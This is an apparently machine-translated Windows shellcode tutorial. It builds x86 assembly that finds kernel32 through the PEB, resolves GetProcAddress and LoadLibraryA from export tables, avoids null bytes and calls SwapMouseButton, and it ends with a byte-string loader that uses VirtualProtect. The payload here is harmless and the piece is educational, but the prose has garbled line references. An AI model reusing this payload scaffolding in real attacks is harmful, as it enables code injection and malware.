A simple "SwapMouseButton" shellcode
I. Introduction
In the last part of the "Windows shellcode development getting started" series, we will compile a simple "SwapMouseButton" shellcode, which swaps the left and right mouse buttons. The basic knowledge involved in this article has been introduced in the first two articles. This article will not be detailed in detail. If you need it, you can read the first part and the second part of this series. Let's start with a known shellcode:Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode. This name can reveal shellcode-related functions, for example, it uses:
URLDownloadToFile Windows API function download file WinExec execution file (Executable File:. exe) ExitProcess stops the process of running shellcode
To use this sample program, we need to callSwapMouseButton
Functions andExitProcess
Function.
BOOL WINAPI SwapMouseButton( _In_ BOOL fSwap);VOID WINAPI ExitProcess( _In_ UINT uExitCode);
As you can see, each function only requires one parameter:
1. If the fSwap parameter is set to TRUE or FALSE, the mouse buttons are exchanged. Otherwise, the mouse buttons are restored. 2. uExitCode indicates the process exit code. Each process must return a value when exiting (if everything goes well, the return value is zero; otherwise, other values are returned ). Why?main
Functions usually requirereturn 0
.
Ii. Program Overview
Now we need to call these two functions. In C ++, the call process is very simple:
Because the compiler knows to connect to the "user32" function library and then find the relevant function. But we need to manually complete this process in shellcode. We need to manually load the "user32" library and findSwapMouseButton
And call the function.
However, the compiler already knowsLoadLibrary
AndGetProcAddress
The address of the function. In shellcode, we need to find it through programming.
Note that we do not need to callExitProcess
Function, because the main function is being executedreturn 0
Then the program stops running. But from the shellcode, we need to ensure that the program can be "elegantly" terminated rather than "Collapsed" (crash ).
3. Gradually write shellcode
As discussed in the previous sections, we need to follow the steps below to make a stable and reliable shellcode. We already know which functions to call, but first we need to locate the addresses of these functions. The steps are as follows:
Find the location where kernel32.dll is loaded to the memory, find its export table, locate the location exported by kernel32.dll
GetProcAddress
The function is obtained using the GetProcAddress function.
LoadLibrary
Function address usage
LoadLibrary
Loading the user32.dll dynamic link library to get user32.dll
SwapMouseButton
Function address call
SwapMouseButton
Function search
ExitProcess
Function address call
ExitProcess
Function
We useVisual Studio 2015Development Tools to write shellcode. Of course, you can also use other versions or assembler similar to masm and nasm. In the Visual Studio development environment, we use__asm { }
Compile assembly code directly. Read and understand the code carefully.
#include "stdafx.h"int main(){ __asm { // ASM code here } return 0;}
1. Find the kernel32.dll base address
As shown below, we can use the following code to find the location where kernel32.dll is loaded into the memory.
xor ecx, ecxmov eax, fs:[ecx + 0x30] ; EAX = PEBmov eax, [eax + 0xc] ; EAX = PEB->Ldrmov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrderlodsd ; EAX = Second modulexchg eax, esi ; EAX = ESI, ESI = EAXlodsd ; EAX = Third(kernel32)mov ebx, [eax + 0x10] ; EBX = Base address
(1-2 rows): 1st commands are used to clear the ecx register and use it in the next command. But why? Remember to avoid "null" bytes as we mentioned earlier. If the second command ismov eax,fs:[30]
The command will be compiled into a sequence of machine code:64 A1 30 00 00 00
The empty byte is displayed. Howevermov eax, fs:[ecx+0x30]
Will be compiled64 8B 41 30
To avoid "null" bytes.
(3-4 rows): The PEB pointer is now saved to the eax register. As mentioned in the previous article, we can get it at the 0xC offset of the PEB pointer.Ldr
And then follow the pointer inLdr
To obtain the module list at the offset of 0 × 14.
(Rows 5-7): The first cursor in the inmemoryorderlinkslink chain table, that is, program. .exe ". Here, the 1st elements of the structure areFlink
Pointer, pointing to the next module. Then, we store the pointer in the esi register. Next,lodsd
The command reads Dual Characters Based on the address pointed to by the esi register and stores the results in the eax register. This means thatlodsd
After the command is executed, we can use the eax register to obtain the address of the 2nd modules, that is, ntdll. dll. We passxchg
When the commands exchange values in the eax and esi registers, the pointers of the 2nd modules are stored in the esi registers and called again.lodsd
Command to traverse the 3rd modules: kernel32.dll.
(8 rows): At this time, the eax register points to the "InMemoryOrderLinks" of kernel32.dll ". Add 0 × 10 bytes to obtain the "DllBase" pointer, that is, the location where kernel32.dll is loaded into the memory.
2. Find the export table of kernel32.dll.
We have found kernel32.dll in the memory. Now, we need to parse the PE file and find the export table. Fortunately, this process is not complicated.
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset names tableadd esi, ebx ; ESI = Names tablexor ecx, ecx ; EXC = 0
(1-2 rows): we already know that we can get it at 0x3C offset.e_lfanew
Pointer, because the size of the MS-DOS header is 0 × 40 bytes, And the last 4 bytes ise_lfanew
Pointer. We need to add this offset value to the base address, because this pointer is relative to the base address (only an offset value, not an absolute address ).
(3-4 rows): At the offset of 0 × 78 in the PE Header, we can find the "DataDirectory" of the export table. This is because the size of the PE Header (signature, file header, and optional Header) before "DataDirectory" is 0 × 78 bytes, And the exported table is the 1st elements of the "DataDirectory" table. Again, we add this value to the edx register, and now we have arrived at the export table of kernel32.dll.
(Lines 5-7): In the IMAGE_EXPORT_DIRECTORY structure, we can get the "AddressOfNames" pointer at 0 × 20 offset to get the name of the exported function. This step is required because we try to find the function by the function name, although other methods can be used. We save the pointer to the esi register, and then clear the ecx register.
Now let's take a look at "AddressOfNames", a pointer array (the pointer here is only the offset from the image base address, that is, the location where kernel32.dll is loaded to the memory ). Therefore, each 4 bytes represents a pointer to the function name. We can use the following code to find the function name and function name serial number (the serial number of the GetProcAddress function ):
Get_Function:inc ecx ; Increment the ordinallodsd ; Get name offsetadd eax, ebx ; Get function namecmp dword ptr[eax], 0x50746547 ; GetPjnz Get_Functioncmp dword ptr[eax + 0x4], 0x41636f72 ; rocAjnz Get_Functioncmp dword ptr[eax + 0x8], 0x65726464 ; ddrejnz Get_Function
(1-3 rows): 1st rows have nothing to do. It is just a tag, and a name is given for a specific position. We can jump here to read the function name. Next you will see it. In row 3, we can add the ecx register, which is the counter of the function and the serial number of the function.
(Lines 4-5): the esi register points to the names of the 1st functions.lodsd
The instruction will store the offset of the function name (such as "ExportedFunction") in the eax register, and then add this offset value to ebx (which stores the base address of kernel32) to get the correct pointer. Note:lodsd
The command also increases the esi register value by 4. This helps us, because we do not need to manually add its value, we only need to call it againlodsd
You can get the pointer of the next function name.
(Lines 6-11) The eax register stores the correct pointer of the exported function name, instead of the Offset Value. Therefore, it points to a function name string and we need to check whether the function isGetProcAddress
. In row 6th, we compared the name of the export function with "0 × 50746547", which is actually represented by the "PteG" ASCII code value "50 74 65 47. As you may guess, it is "GetP", which indicatesGetProcAddress
But because x86 uses the little-endian mode, it means that the numbers are sorted in reverse order in the memory. Therefore, we actually compare whether the first four bytes of the current function name are "GetP". If not,jnz
Command jumpGet_Function
Label to continue to compare the next function name. If it matches, we will also compare the last four bytes, which must be "rocA", and the last four bytes are "ddre" to ensure that other functions starting with "GetP" are excluded.
3. Find
GetProcAddress
Function address
At this point, we only find the serial number of the GetProcAddress function, but we can use the serial number to find the actual address of the function:
mov esi, [edx + 0x24] ; ESI = Offset ordinalsadd esi, ebx ; ESI = Ordinals tablemov cx, [esi + ecx * 2] ; CX = Number of functiondec ecxmov esi, [edx + 0x1c] ; ESI = Offset address tableadd esi, ebx ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx ; EDX = GetProcAddress
(1-2 rows): Here, The edx register pointsIMAGE_EXPORT_DIRECTORY
Structure. At the 0 × 24 offset of the structure, we can findAddressOfNameOrdinals
Offset. In row 2nd, this offset value is added with the ebx register, that is, the base address of kernel32.dll. We can obtain a valid pointer to the name sequence table.
(Lines 3-4): the esi register points to the name sequence number array. This array contains 2-byte numbers. We already knowGetProcAddress
The serial number (INDEX) of the function name is stored in the ecx register, so we can obtain the serial number (INDEX) of the function address ). This helps us get the function address. We need to decrease this number because the name sequence number starts from 0.
(Rows 5-6): At the 0x1c offset, We can findAddressOfFunctions
, Pointing to the array of function pointers. We only need to add the base address of kernel32.dll to access the starting position of this array.
(Lines 7-8): Now, ecx registers are storedAddressOfFunctions
The index value of the array, which can be read from AddressOfFunctions [ecx ].GetProcAddress
Function pointer (the offset from the base address of the image ). We useecx * 4
Because each pointer occupies 4 bytes and the esi Pointer Points to the starting position of the array. After the base address of the image is added to row 3, The edx register can pointGetProcAddress
Function.
4. Obtain the LoadLibrary function address
xor ecx, ecx ; ECX = 0push ebx ; Kernel32 base addresspush edx ; GetProcAddresspush ecx ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp ; "LoadLibrary"push ebx ; Kernel32 base addresscall edx ; GetProcAddress(LL)
(Lines 1-3): First, we will clear ecx, because it will be used later. Second, in rows 2nd and 3rd, we press ebx and edx into the stack for later use. ebx stores the base address of kernel32, and edx stores the function pointer of GetProcAddress.
(Lines 4-10): Now, we can make the following calls:GetProcAddress(kernel32, “LoadLibraryA”)
. We have learned the base address of kernel32, but how to use a string? We use the stack again. We need to store "LoadLibraryA \ 0" on the stack. Yes, the string must end with a NULL byte, Which is why you need to clear ecx in Row 3 and press it into the stack. I needLoadLibraryA
The string is split into 4 bytes and pushed to the stack in reverse order. We need to place "aryA" first, then "Libr" and "Load", so the final string on the stack will be "LoadLibraryA". Because we have stored the data on the stack, the esp register, that is, the stack pointer, will point to the beginning of the "LoadLibraryA" string. Now we need to push the function parameters from the back to the stack. Therefore, we need to first push esp to the stack in line 3, and then put ebx In line 3, that is, the kernel32 base address. Then we call the storageGetProcAddress
Function pointer edx.
Note that "LoadLibraryA" is stored in the stack, rather than "LoadLibrary ". This is because kernel32.dll does not export the "LoadLibrary" function, but exports two functions: the "LoadLibraryA" function for ANSI string parameters and the "LoadLibraryW" function for Unicode string parameters.
5. Load the dynamic link library of user32.dll
Obtained aboveLoadLibrary
Function address. Now we use it to load the "user32.dll" Dynamic Link Library to the memory. This dynamic link library contains what we needSwapMouseButton
Function.
add esp, 0xc ; pop "LoadLibraryA"pop ecx ; ECX = 0push eax ; EAX = LoadLibraryApush ecxmov cx, 0x6c6c ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp ; "user32.dll"call eax ; LoadLibrary("user32.dll")
(Lines 1-3): Previously, the "LoadLibraryA" string was stored on the stack, so we need to clear it now. The simplest method is not to use three "pops" commands, but to add 0 x C (which means a 12-byte string) to the esp register. In row 3, we also need to clear the 0 stored on the stack before the function call, and then reset the ecx register. Now we needLoadLibrary
The function address is backed up from the eax register to the stack, because after the function is called, the return value is stored in the eax register.LoadLibrary
The function address is cleared.
(Lines 4-19): Because you need to callLoadLibrary(“user32.dll”)
So we need to store strings on the stack again. The current situation may be more difficult, because the length of the string is not a multiple of 4 and cannot be directly passed through somepush
Command. Instead, we first press the ecx register with a value of 0 into the stack, and then set the CX register to the "ll" string. The CX register is the second half of the ecx register. So we can press it onto the stack. In line 7-8, we store the "user32.d" string on the stack, So esp points to the "user32.dll" string. We press this parameter onto the stack and then callLoadLibrary
Load the dynamic link library, and then the eax register returns the base address of the user32.dll dynamic link library.
6. Obtain the SwapMouseButton function address.
Since user32.dl has been loaded into the memory, we need to callGetProcAddress
To obtainSwapMouseButton
Function address.
add esp, 0x10 ; Clean stackmov edx, [esp + 0x4] ; EDX = GetProcAddressxor ecx, ecx ; ECX = 0push ecxmov ecx, 0x616E6F74 ; tonapush ecxsub dword ptr[esp + 0x3], 0x61 ; Remove "a"push 0x74754265 ; eButpush 0x73756F4D ; Mouspush 0x70617753 ; Swappush esp ; "SwapMouseButton"push eax ; user32.dll addresscall edx ; GetProc(SwapMouseButton)
(Lines 1-2): as before, we need to clear the stack. In the first two lines, we saved the previously saved GetProcAddress function address to the edx register. As mentioned before, the values of the eax, ecx, and edx registers may change after a function call because the values of these registers are not saved during the function call.
(Lines 3-13): calledGetProcAddress(user32.dll, “SwapMouseButton”)
So we need to store the string to the stack again. First, in line 3-4, we reset the ecx register and press it onto the stack. Next, we press "tona" into the stack. The "ton" string represents the last three bytes of the "SwapMouseButton" string, but now it is followed by an additional "a" character. This is a little trick. In the second row, we subtract 0x61 from the position where the character "a" is stored on the stack. because the ASCII value of the character "a" is 0 × 61, this means that the "a" character is converted to the "NULL" byte. Next, we press the rest of the string into the stack. We press the eax register that stores the base address of user32.dll into the stack, and then callGetProcAddress
Function.
7. Call the SwapMouseButton Function
Now that you have obtainedSwapMouseButton
Function address. You only need to use the "correct" parameter to call the function.
add esp, 0x14 ; Cleanup stackxor ecx, ecx ; ECX = 0inc ecx ; truepush ecx ; 1call eax ; Swap!
(Lines 1-3): Although boring, we still need to clear the stack. We want to callSwapMouseButton(true)
, That isSwapMouseButton(1)
So we need to press "1" into the stack first. We only need to clear the ecx register and Add 1 more. If you need to restore the mouse function, removeinc ecx
Command.
Although we have completed the task, but we want to end the process more elegantly, so we need to find in kernel32.dllExitProcess
Function.
add esp, 0x4 ; Clean stackpop edx ; GetProcAddresspop ebx ; kernel32.dll base addressmov ecx, 0x61737365 ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250 ; Procpush 0x74697845 ; Exitpush esppush ebx ; kernel32.dll base addresscall edx ; GetProc(Exec)
(Lines 1-3): Clear "1" from the stack. We also need to read the data backed up on the stack at the beginning,GetProcAddress
The function address is saved to the edx register, while the kernel32 base address is saved to the ebx register.
(Lines 4-11): Next we are very familiar with it. Store the string "ExitProcessa" on the stack and replace the last "a" character with "NULL) "bytes. We store the parameters on the stack and then callGetProcAddress
To obtainExitProcess
Function address.
9. Call the ExitProcess Function
Finally, we callExitProcess
Function.
xor ecx, ecx ; ECX = 0push ecx ; Return code = 0call eax ; ExitProcess
(Lines 1-3): we need to press the parameter with a value of 0 on the stack. Therefore, we only need to clear ecx and press it onto the stack. Then we can callExitProcess
. Finally, we are done !!!
Now we concatenate all the parts, and the final version of shellcode is as follows:
xor ecx, ecxmov eax, fs:[ecx + 0x30] ; EAX = PEBmov eax, [eax + 0xc] ; EAX = PEB->Ldrmov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrderlodsd ; EAX = Second modulexchg eax, esi ; EAX = ESI, ESI = EAXlodsd ; EAX = Third(kernel32)mov ebx, [eax + 0x10] ; EBX = Base addressmov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanewadd edx, ebx ; EDX = PE Headermov edx, [edx + 0x78] ; EDX = Offset export tableadd edx, ebx ; EDX = Export tablemov esi, [edx + 0x20] ; ESI = Offset namestableadd esi, ebx ; ESI = Names tablexor ecx, ecx ; EXC = 0Get_Function:inc ecx ; Increment the ordinallodsd ; Get name offsetadd eax, ebx ; Get function namecmp dword ptr[eax], 0x50746547 ; GetPjnz Get_Functioncmp dword ptr[eax + 0x4], 0x41636f72 ; rocAjnz Get_Functioncmp dword ptr[eax + 0x8], 0x65726464 ; ddrejnz Get_Functionmov esi, [edx + 0x24] ; ESI = Offset ordinalsadd esi, ebx ; ESI = Ordinals tablemov cx, [esi + ecx * 2] ; Number of functiondec ecxmov esi, [edx + 0x1c] ; Offset address tableadd esi, ebx ; ESI = Address tablemov edx, [esi + ecx * 4] ; EDX = Pointer(offset)add edx, ebx ; EDX = GetProcAddressxor ecx, ecx ; ECX = 0push ebx ; Kernel32 base addresspush edx ; GetProcAddresspush ecx ; 0push 0x41797261 ; aryApush 0x7262694c ; Librpush 0x64616f4c ; Loadpush esp ; "LoadLibrary"push ebx ; Kernel32 base addresscall edx ; GetProcAddress(LL)add esp, 0xc ; pop "LoadLibrary"pop ecx ; ECX = 0push eax ; EAX = LoadLibrarypush ecxmov cx, 0x6c6c ; llpush ecxpush 0x642e3233 ; 32.dpush 0x72657375 ; userpush esp ; "user32.dll"call eax ; LoadLibrary("user32.dll")add esp, 0x10 ; Clean stackmov edx, [esp + 0x4] ; EDX = GetProcAddressxor ecx, ecx ; ECX = 0push ecxmov ecx, 0x616E6F74 ; tonapush ecxsub dword ptr[esp + 0x3], 0x61 ; Remove "a"push 0x74754265 ; eButpush 0x73756F4D ; Mouspush 0x70617753 ; Swappush esp ; "SwapMouseButton"push eax ; user32.dll addresscall edx ; GetProc(SwapMouseButton)add esp, 0x14 ; Cleanup stackxor ecx, ecx ; ECX = 0inc ecx ; truepush ecx ; 1call eax ; Swap!add esp, 0x4 ; Clean stackpop edx ; GetProcAddresspop ebx ; kernel32.dll base addressmov ecx, 0x61737365 ; essapush ecxsub dword ptr [esp + 0x3], 0x61 ; Remove "a"push 0x636f7250 ; Procpush 0x74697845 ; Exitpush esppush ebx ; kernel32.dll base addresscall edx ; GetProc(Exec)xor ecx, ecx ; ECX = 0push ecx ; Return code = 0call eax ; ExitProcess
The above is the whole process of writing the first shellcode.
10. Test shellcode
We can use the following code to test shellcode.
#include "stdafx.h"#include
int main(){ char *shellcode = "\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75" "\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68" "\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x75\x73" "\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68" "\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9" "\x41" // inc ecx - Remove this to restore the functionality "\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61" "\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0"; // Set memory as executable DWORD old = 0; BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &old); // Call the shellcode __asm { jmp shellcode; } return 0;}
Conclusion
I hope you have understood how Windows shellcode works and have the ability to customize the ASM code. Even if this shellcode is of no use, it is a good start for writing your own shellcode. I suggest you write your own shellcode to really understand the challenges behind writing this type of code.